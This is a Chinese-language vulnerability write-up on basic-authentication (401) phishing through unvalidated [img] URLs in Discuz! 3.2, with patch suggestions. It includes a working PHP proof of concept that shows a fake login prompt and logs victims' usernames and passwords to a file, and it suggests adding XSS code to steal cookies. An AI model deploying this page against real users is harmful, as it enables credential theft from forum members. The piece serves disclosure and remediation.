对于Discuz!3.2的基础认证钓鱼漏洞分析与修复【整理】

分析过程

在分析漏洞之前先了解一下相关的知识科普。
401钓鱼,也叫基础认证钓鱼。在 Web 站点中,绝大部分的 web 服务器被配置为匿名访问,即用户在请求 web 站点访问服务器上的相关信息时,一般不会被要求提示输入相关认证标示信息,也就是说用户不需要使用用户名或者密码就可以访问网站,这也是所有开放站点所使用的配置。在 Nginx 和 Apache 中,默认配置都是匿名访问。
如 Nginx 想要配置非匿名访问需要进行如下设置:

/etc/nginx/sites-enabled/default 中:
server {
server_name blog.cnpanda.net
root /www/panda
# ...
location / {
# 下面的两句是要求非匿名访问
auth_basic "Restricted";
auth_basic_user_file htpasswd;
# ...
}
# ...
}

然后创建一个 htpasswd 文件就可以了,具体的在这里就不提了。

在 Apache 中就比较简单了,Apache 的 httpd.conf 默认配置如下:

<directory "/etc/www">
Options IndexesFollowSymLinks Includes
AllowOverride None
Order allow,deny
Allow from all
</Directory>

如果需要修改为非匿名访问,那么就需要传递一个 WWW-Authenticate 的字段,如下代码就是使用 Header()函数要求客户端使用 BASIC 验证:

header("WWW-Authenticate:BASIC Realm=My Realm");

它在 HTTP 的请求头中增加了一个 WWW-Authenticate 的字段。如果我们想要进行基础认证钓鱼,那么就需要上面的 WWW-Authenticate 字段。现在就以最新版的 Discuz!3.2版本为例,来分析一下。
问题出现在 source/function/function_editor.php 中的 imgtag 函数:

function imgtag($attributes) {
	$value = array('src' => '', 'width' => '', 'height' => '');
	preg_match_all("/(src|width|height)=([|_)([^']+)(\2)/is",
    dstripslashes($attributes), $matches);
	if(is_array($matches[1])) {
		foreach($matches[1] as $key => $attribute) {
			$value[strtolower($attribute)] = $matches[3][$key];
		}
	}
	@extract($value);
	if(!preg_match("/^http:/i", $src)) {
		$src = absoluteurl($src);
	}
	return $src ? ($width && $height ?
      '[img='.$width.','.$height.']'.$src.'[/img]' : '[img]'.$src.'[/img]') : '';
}

函数首先对于width和height的值进行了判断过滤,然后再验证请求的url是否是子目录路径:

function absoluteurl($url) {
	global $_G;
	if($url{0} == '/') {
		return 'http://'.$_SERVER['HTTP_HOST'].$url;
	} else {
		return $_G['siteurl'].$url;
	}
}

最后直接返回。所以可以看到,函数中只是对于URL的请求路径进行了判断,但是没有对于该URL是否是图片进行验证,导致了解析任意URL。

最后直接返回。所以可以看到,函数中只是对于URL的请求路径进行了判断,但是没有对于该URL是否是图片进行验证,导致了解析任意URL。
可以构建POC如下:

<html>
<head>
	<title>Please Login - Informations</title>
</head>
<?php
	$_COOKIE['panda'] = 'panda';
	if($_COOKIE['panda'] == 'panda')
		if(!isset($_SERVER['PHP_AUTH_USER']) && !isset($_SERVER['PHP_AUTH_PW'])) {
    		Header("WWW-Authenticate: Basic realm=\"Please to login first\"");
    		Header("HTTP/1.0 401 Unauthorized");
		} else {
    		@file_put_contents('./panda.txt', $_SERVER['PHP_AUTH_USER'].'|'.$_SERVER['PHP_AUTH_PW']."\r\n", FILE_APPEND);
    		setcookie('panda','finshed');
	}
?>
<body>
	<h1>ERROR!!</h1>

	You do not have permission to access this page!
	<br>
	Click here to <input type="button"  value="GO back" onclick="history.go(-1)"> 
</body>
<html>

该POC主要就是记录用户输入的账号和密码然后记录到Panda.txt中。
将其上传到本地服务器上,地址为:http://localhost/401.php
使用POC:
01

可以看到对话框,只要用户输入相关信息,都会记录在panda.txt文件中:

不仅是在发表主题和回复主题这里存在,空间的个人主页、查看个人资料中的个性签名中也是同样存在的。
04

总之一句话,只要DZ中存在[img]标签解析的地方,那么就存在这个问题。

其实这个漏洞被不少人小看,认为稍微懂点技术的人都应该不会中招,但是其实漏洞攻击的对象基本上都是些什么都不懂的用户,钓鱼受害者最多的也是用户。更有一种方法就是让稍微懂点技术的人知道我们构建POC的地址,诱导其范围,然后我们对于这个POC地址做些小动作“,如加上一些XSS的测试代码之类的,这样我们就有可能获取到一些我们意外的其他信息。

比如获取网站的源码:

或者一些浏览器残留的Cookie:

修复方法

方案一:

直接在source/function/function_editor.php文件的imgtag函数中进行URL验证,此方法是最简单的修复方法,但是会造成网站打开页面速度缓慢的影响。

方案二:

过滤代码可以有两种,第一种就是对于400以上的响应请求给予报错,第二种就对于[img]标签的内容进行过滤,这里推荐使用第二种,代码如下:
对source/module/forum/forum_post.php 文件的204行加上一个修复函数:

$message = isset($_GET['message']) ? Repair_401(censor($_GET['message'])) : '';

Repair_401函数可以直接添加在forum_post.php文件的最下方:

function Repair_401($message){
	preg_match_all('|[img](.*)[/img]|U',$message,$matches);	//匹配所有img标签
		if(!empty($matches)){		//存在匹配结果
 			$img = $matches[1]; 
 		foreach($img as $val){
 			$fstr = substr($val,0,10);
 			$src = strpos($fstr,'://') < 1 ? "http://".$val : $val; 
 			if(!@fopen($src, 'r' ) ){	//图片无效
 				showmessage('图片格式错误');
 			}
 		} 
	}
}

这里修复的仅仅是发表主题或者回复的基础认证漏洞,但是对于个人空间中个人主页、个人介绍以及个性签名没有进行过滤,需要修复者自己寻找关键代码加上Repair_401函数,也可以直接在后台关闭[img]标签解析。

最终修复结果如下图:

写在后面

上面的修复方案有缺陷,经过九零的一个表哥反馈,发现只要在自己的服务器上,将图片文件当做PHP文件解析,依旧可以绕过上方的修复方案,对于这种办法,建议是对于请求返回的响应码判断,如果是401请求,则停止请求或者中断访问,也可以禁止站内引用第三方资源链接,后者的方法是最干脆也是最安全的。

总结

不仅仅局限于DZ,应该说只要存在图片解析URL没有验证的,基本上都存在这个漏洞,业务中的漏洞挖掘可以考虑挖掘此类的漏洞。当然,这个漏洞是要受到浏览器的限制的,测试火狐可以触发,谷歌不行。所以实际还是要看实际中的利用方法。

参考

[*] goderci@YunDay《解析:基础认证钓鱼》

[*] Nginx配置实用密码访问网站的方法

[*] 实战利用XSS漏洞对me.jd.com进行基础验证钓鱼

[*] 基础认证钓鱼漏洞-通杀所有可插入外部内容的网站

1 个赞

挺有意思的,感谢分享